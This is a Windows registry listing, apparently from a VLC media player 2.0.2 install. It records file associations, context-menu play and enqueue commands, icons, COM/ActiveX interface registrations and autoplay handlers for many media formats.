"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}]
"(Default)" = "IVLCMarquee"

[HKCR\VLC.asf\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mtv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.flv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.SVCDMovie\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.m2v\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.aob\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.3g2\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.a52\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.aac]
"(Default)" = "VLC.aac"

[HKCR\Wow6432Node\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.w64\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\.rmvb]
"(Default)" = "VLC.rmvb"

[HKCR\VLC.wav\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".TTA" = "VLC.tta"

[HKCR\VLC.rmvb\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.ogm]
"(Default)" = "VLC.ogm"

[HKCR\VLC.mpeg4\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.divx\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".tts" = "VLC.tts"

[HKCR\.rm]
"(Default)" = "VLC.rm"

[HKCR\.ram]
"(Default)" = "VLC.ram"

[HKCR\VLC.dts]
"(Default)" = "VLC media file (.dts)"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".rm" = "VLC.rm"

[HKCR\VLC.m4a\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.vlc\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.dv\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mid\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mpeg4\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.ape\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mpeg2\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.adt\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayCDAudioOnArrival]
"Action" = "Play audio CD"

[HKCR\VLC.snd\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".wma" = ""

[HKCR\VLC.aif\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.3gp]
"(Default)" = "VLC.3gp"

[HKCR\VLC.vob\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{465E787A-0556-452F-9477-954E4A940003}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\.ac3]
"(Default)" = "VLC.ac3"

[HKCR\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}]
"(Default)" = "IVLCPlaylistItems"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".M4A" = "VLC.m4a"

[HKCR\VLC.vob\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mpeg1\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".aifc" = ""
".aiff" = ""

[HKCR\VLC.dv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".m4p" = "VLC.m4p"

[HKCR\VLC.m4v\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".ts" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".m4v" = "VLC.m4v"

[HKCR\VLC.mpv2\shell]
"(Default)" = "Open"

[HKCR\VLC.voc\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".dts" = "VLC.dts"

[HKCR\VLC.tts]
"(Default)" = "VLC media file (.tts)"

[HKCR\VLC.avi\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.ac3\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.ram\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.m3u\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mpc\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mpv2\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.wv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.cda]
"(Default)" = "VLC.cda"

[HKCR\VLC.pls\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".FLAC" = "VLC.flac"

[HKCR\Wow6432Node\Interface\{465E787A-0556-452F-9477-954E4A940003}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.caf\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mts\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.gxf]
"(Default)" = "VLC media file (.gxf)"

[HKCR\VLC.m2ts\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Wow6432Node\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.webm\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.3ga\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\TypeLib\{DF2BBE39-40A8-433B-A279-073F48DA94B6}\1.0]
"(Default)" = "VideoLAN VLC ActiveX Plugin"

[HKCR\VLC.tod\shell\Open]
"(Default)" = "Play"

[HKCR\.m2t]
"(Default)" = "VLC.m2t"

[HKCR\VLC.ogg\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m2t\shell]
"(Default)" = "Open"

[HKCR\VLC.3ga\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.vro\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mpg\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Wow6432Node\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}]
"(Default)" = "DVLCEvents"

[HKCR\VLC.vlc]
"(Default)" = "VLC media file (.vlc)"

[HKCR\VLC.webm\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpc\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.sdp\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.3g2\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.DVDMovie\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file dvd:///%1"

[HKCR\VLC.mpg\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.cue\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.amv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mp2v\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mov\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\.3ga]
"(Default)" = "VLC.3ga"

[HKCR\.wav]
"(Default)" = "VLC.wav"

[HKCR\VLC.mpeg4\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.divx]
"(Default)" = "VLC.divx"

[HKCR\VLC.oga\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ogg\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m4p\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.vqf\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ogm\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.ogg\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.gxf\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.aac\shell]
"(Default)" = "Open"

[HKCR\VLC.ape\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".MID" = "VLC.mid"

[HKCR\VLC.a52\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.s3m]
"(Default)" = "VLC media file (.s3m)"

[HKCR\VLC.flac\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.mp4v]
"(Default)" = "VLC.mp4v"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".oma" = "VLC.oma"

[HKCR\VLC.tts\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlers\PlayDVDMovieOnArrival]
"VLCPlayDVDMovieOnArrival" = ""

[HKCR\VLC.ogg\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.mpa\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.oma\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\ProgID]
"(Default)" = "VideoLAN.VLCPlugin.1"

[HKCR\VLC.divx\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.mp2]
"(Default)" = "VLC.mp2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDAudioOnArrival]
"InvokeProgID" = "VLC.OPENFolder"
"DefaultIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.SVCDMovie\shell]
"(Default)" = "Open"

[HKCR\VLC.tta\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.rm\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.aob]
"(Default)" = "VLC.aob"

[HKCR\VLC.f4v\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".avi" = ""

[HKCR\VLC.oma\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.3gp2\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.m4p\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.m2ts]
"(Default)" = "VLC.m2ts"

[HKCR\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.tts\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.flv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.ram\shell]
"(Default)" = "Open"

[HKCR\VLC.3g2\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.aifc\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.nsv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.drc]
"(Default)" = "VLC.drc"

[HKCR\VLC.3g2\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.669\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.oga\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.tod]
"(Default)" = "VLC media file (.tod)"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mts" = ""
".mtv" = ""

[HKCR\VLC.au\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mpc\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.wv\shell]
"(Default)" = "Open"

[HKCR\VLC.mxf\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.b4s\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".au" = "VLC.au"

[HKCR\VLC.f4v\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mka\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.aac\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.adt\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.caf\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.aif]
"(Default)" = "VLC media file (.aif)"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"DisplayIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe"

[HKCR\Applications\vlc.exe\SupportedTypes]
".gxf" = ""

[HKCR\VLC.voc\shell]
"(Default)" = "Open"

[HKCR\VLC.m4v\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.DVDMovie\shell]
"(Default)" = "Open"

[HKCR\VLC.mpv2\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.mkv]
"(Default)" = "VLC.mkv"

[HKCR\VLC.mlp\shell]
"(Default)" = "Open"

[HKCR\VLC.wv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlers\PlayMusicFilesOnArrival]
"VLCPlayMusicFilesOnArrival" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayCDAudioOnArrival]
"Provider" = "VideoLAN VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".SPX" = ""

[HKCR\VLC.vqf\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.drc\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}]
"(Default)" = "IVLCMarquee"

[HKCR\VLC.mpeg\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.qcp\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.669\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.xa\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.3gpp\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.s3m\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.amv\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.f4v\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.aif\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.asf\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ogm\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.b4s\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.nuv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.f4v\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.sdp\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpg]
"(Default)" = "VLC media file (.mpg)"

[HKCR\VLC.mpeg\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mid\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m4p\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.gxf\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"DisplayVersion" = "2.0.2"

[HKCR\.aiff]
"(Default)" = "VLC.aiff"

[HKCR\VLC.mtv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.3gp\shell]
"(Default)" = "Open"

[HKCR\Wow6432Node\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.tta\shell]
"(Default)" = "Open"

[HKCR\VLC.divx\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.flac\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".MID" = ""

[HKCR\VLC.rmvb\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.amv]
"(Default)" = "VLC.amv"

[HKCR\VLC.mp1\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.oma\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mlp\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".AAC" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".m2ts" = "VLC.m2ts"

[HKCR\VLC.qcp\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".AC3" = "VLC.ac3"

[HKCR\VLC.a52\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".669" = ""

[HKCR\.3gp2]
"(Default)" = "VLC.3gp2"

[HKCR\VLC.nsv\shell]
"(Default)" = "Open"

[HKCR\VLC.b4s\shell]
"(Default)" = "Open"

[HKCR\VLC.mxf\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.rec\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".oma" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".caf" = "VLC.caf"

[HKCR\Applications\vlc.exe\SupportedTypes]
".ogm" = ""
".OGA" = ""

[HKCR\VLC.au\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mpv2" = "VLC.mpv2"

[HKCR\Applications\vlc.exe\SupportedTypes]
".OGG" = ""

[HKCR\VLC.aiff]
"(Default)" = "VLC media file (.aiff)"

[HKCR\VLC.asf\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mp2v\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.asf\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".ogv" = ""

[HKCR\VLC.ogg\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.tts\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.xspf\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.w64\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}\TypeLib]
"Version" = "1.0"

[HKCR\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}\TypeLib]
"Version" = "1.0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".M3U8" = ""

[HKCU\Software\Classes\.webm]
"(Default)" = "VLC.webm"

[HKCR\Applications\vlc.exe\SupportedTypes]
".dv" = ""

[HKCR\VLC.f4v\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.669]
"(Default)" = "VLC.669"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayMusicFilesOnArrival]
"InvokeProgID" = "VLC.OPENFolder"

[HKCR\VLC.rm\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.voc\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m3u\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.avi\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".RMI" = ""

[HKCR\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.xm\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.ogx\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.asf]
"(Default)" = "VLC media file (.asf)"

[HKCR\VLC.f4v\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.dv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.mp4]
"(Default)" = "VLC.mp4"

[HKCR\VLC.vro\shell\Open]
"(Default)" = "Play"

[HKCR\AudioCD\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.cue\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@videolan.org/vlc,version=2.0.2]
"Description" = "VLC Multimedia Plugin"

[HKCR\VLC.mpeg\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mov\shell]
"(Default)" = "Open"

[HKCR\.mov]
"(Default)" = "VLC.mov"

[HKCR\VLC.amr\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".rm" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".w64" = "VLC.w64"
".WAV" = "VLC.wav"

[HKCR\VLC.aac]
"(Default)" = "VLC media file (.aac)"

[HKCR\VLC.vro\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.ifo\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.dts\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.pls\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

